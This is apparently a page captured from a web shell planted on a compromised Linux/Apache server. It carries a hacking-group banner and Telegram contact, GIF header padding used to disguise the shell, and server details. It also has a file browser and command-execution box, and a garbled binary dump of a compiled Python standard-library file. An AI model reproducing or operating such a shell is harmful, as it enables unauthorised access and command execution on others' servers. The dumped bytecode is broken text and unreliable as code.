GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux sonniq.ru 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
127.0.0.1
/
opt
/
ispmanager
/
python3.8
/
lib
/
python3.8
/
__pycache__
[ HOME ]
Exec
Submit
File Name : _osx_support.cpython-38.pyc
U ��� @ s� d Z ddlZddlZddlZddddgZdZdZd Zd-d d�Zd.d d�Z dd� Z dadd� Zda dd� Zdd� Zdd� Zdadd� Zdd� Zdd� Zdd � Zd!d"� Zd#d$� Zd%d&� Zd'd(� Zd)d� Zd*d� Zd+d� Zd,d� ZdS )/zShared OS X support functions.� N�compiler_fixup�customize_config_vars�customize_compiler�get_platform_osx) �CFLAGSZLDFLAGSZCPPFLAGSZ BASECFLAGS� BLDSHARED�LDSHARED�CC�CXXZ PY_CFLAGSZ PY_LDFLAGSZPY_CPPFLAGSZPY_CORE_CFLAGSZPY_CORE_LDFLAGS)r r r r Z_OSX_SUPPORT_INITIAL_c C s� |dkrt jd }|�t j�}t j�| �\}}tjdkrH|dkrH| d } t j�| �s�|D ]&}t j� || �}t j�|�rX| S qXdS | S dS )z�Tries to find 'executable' in the directories listed in 'path'. A string listing directories separated by 'os.pathsep'; defaults to os.environ['PATH']. Returns the complete filename or None if not found. N�PATH�win32z.exe) �os�environ�split�pathsep�path�splitext�sys�platform�isfile�join)� executabler �paths�base�ext�p�f� r �7/opt/ispmanager/python3.8/lib/python3.8/_osx_support.py�_find_executable s r Fc C s� ddl }zddl}|�� }W n( tk rD tdt�� f d�}Y nX |�|��P}|rfd| |jf }nd| |jf }t� |�s�|� � �d��� ndW 5 Q R � S Q R X dS )z0Output from successful command execution or Noner Nz/tmp/_osx_support.%szw+bz %s >'%s' 2>&1z%s 2>/dev/null >'%s'zutf-8) � contextlib�tempfile�NamedTemporaryFile�ImportError�openr �getpid�closing�name�system�read�decode�strip)Z commandstringZcapture_stderrr r! �fp�cmdr r r �_read_output7 s �� r. c C s t | �ptd| f �pdS )z0Find a build tool on current path or using xcrunz/usr/bin/xcrun -find %s� )r r. )Ztoolnamer r r �_find_build_toolM s ��r0 c C sx t dkrtda ztd�} W n tk r, Y nHX zt�d| �� �}W 5 | �� X |dk rtd�|�d�� d�dd� �a t S )z*Return the OS X system version as a stringNr/ z0/System/Library/CoreServices/SystemVersion.plistz=<key>ProductUserVisibleVersion</key>\s*<string>(.*?)</string>�.� � ) �_SYSTEM_VERSIONr$ �OSError�close�re�searchr) r �groupr )r �mr r r �_get_system_versionV s � r; c C sL t dkrHt� } | rHztdd� | �d�D ��a W n tk rF da Y nX t S )z} Return the macOS system version as a tuple The return value is safe to use to compare two version numbers. Nc s s | ]}t |�V qd S �N��int��.0�ir r r � <genexpr>� s z,_get_system_version_tuple.<locals>.<genexpr>r1 r )�_SYSTEM_VERSION_TUPLEr; �tupler � ValueError�Zosx_versionr r r �_get_system_version_tupleu s rG c C s"